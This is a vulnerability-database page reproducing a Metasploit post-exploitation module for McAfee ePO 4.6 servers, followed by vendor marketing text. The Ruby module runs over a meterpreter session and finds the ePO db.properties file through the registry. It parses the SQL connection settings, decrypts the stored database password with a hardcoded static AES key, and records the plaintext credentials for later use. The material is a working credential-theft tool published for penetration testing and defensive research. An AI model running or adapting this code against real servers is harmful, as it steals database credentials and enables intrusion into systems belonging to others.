Lucene search
K

Windows Gather McAfee ePO 4.6 Config SQL Credentials

🗓️ 04 Nov 2011 21:04:54Reported by Nathan Einwechter <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

This module extracts SQL database connection details and decrypts saved password for McAfee ePO 4.6 server. The passwords are stored in config file encrypted with AES-128-ECB and a static key

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/dns/resolver'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
        'Description' => %q{
          This module extracts connection details and decrypts the saved password for the
          SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
          config file. They are encrypted with AES-128-ECB and a static key.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_net_resolve_host
            ]
          }
        }
      )
    )
  end

  def run
    # Find out where things are installed
    print_status('Finding Tomcat install path...')
    subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)
    if subkeys.nil? || subkeys.empty?
      print_error('ePO 4.6 Not Installed or No Permissions to RegKey')
      return
    end
    # Get the db.properties file location
    epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
    dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)
    if dbprops_file.nil? || (dbprops_file == '')
      print_error('Could not find db.properties file location')
    else
      dbprops_file << '/conf/orion/db.properties'
      print_good('Found db.properties location')
      process_config(dbprops_file)
    end
  end

  def process_config(filename)
    config = client.fs.file.new(filename, 'r')
    print_status("Processing #{filename}")
    contents = config.read
    config_lines = contents.split("\n")
    for line in config_lines
      line.chomp
      line_array = line.split('=')
      case line_array[0]
      when 'db.database.name'
        database_name = ''
        line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
      when 'db.instance.name'
        database_instance = ''
        line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
      when 'db.user.domain'
        user_domain = ''
        line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
      when 'db.user.name'
        user_name = ''
        line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
      when 'db.port'
        port = ''
        line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
      when 'db.user.passwd.encrypted.ex'
        # ePO 4.6 encrypted password
        passwd = ''
        line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
        passwd.gsub('\\', '')
        # Add any Base64 padding that may have been stripped out
        passwd << '=' until (passwd.length % 4 == 0)
        plaintext_passwd = decrypt46(passwd)
      when 'db.user.passwd.encrypted'
        # ePO 4.5 encrypted password - not currently supported, see notes below
        passwd = ''
        line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
        passwd.gsub('\\', '')
        # Add any Base64 padding that may have been stripped out
        passwd << '=' until (passwd.length % 4 == 0)
        plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
      when 'db.server.name'
        database_server_name = ''
        line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
      end
    end

    # resolve IP address for creds reporting

    result = client.net.resolve.resolve_host(database_server_name)
    if result[:ip].nil? || result[:ip].empty?
      print_error('Could not determine IP of DB - credentials not added to report database')
      return
    end

    db_ip = result[:ip]

    print_good("SQL Server: #{database_server_name}")
    print_good("SQL Instance: #{database_instance}")
    print_good("Database Name: #{database_name}")
    if db_ip
      print_good("Database IP: #{db_ip}")
    end
    print_good("Port: #{port}")
    if user_domain.nil? || (user_domain == '')
      print_good('Authentication Type: SQL')
      full_user = user_name
    else
      print_good('Authentication Type: Domain')
      print_good("Domain: #{user_domain}")
      full_user = "#{user_domain}\\#{user_name}"
    end
    print_good("User: #{full_user}")
    print_good("Password: #{plaintext_passwd}")

    if db_ip
      # submit to reports
      service_data = {
        address: Rex::Socket.getaddress(db_ip),
        port: port,
        protocol: 'tcp',
        service_name: 'mssql',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: full_user,
        private_data: plaintext_passwd,
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
      print_good('Added credentials to report database')
    else
      print_error('Could not determine IP of DB - credentials not added to report database')
    end
  end

  def decrypt46(encoded)
    encrypted_data = Rex::Text.decode_base64(encoded)
    aes = OpenSSL::Cipher.new('AES-128-ECB')
    aes.decrypt
    aes.padding = 0
    # Private key extracted from ePO 4.6.0 Build 1029
    # If other keys are required for other versions of 4.6 - will have to add version
    # identification routines in to the main part of the module
    key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
    aes.key = key.pack('C*')
    password = aes.update(encrypted_data) + aes.final
    # Get rid of all the crazy \f's that result
    password.gsub!(/[^[:print:]]/, '')
    return password
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.1Low risk
Vulners AI Score0.1
52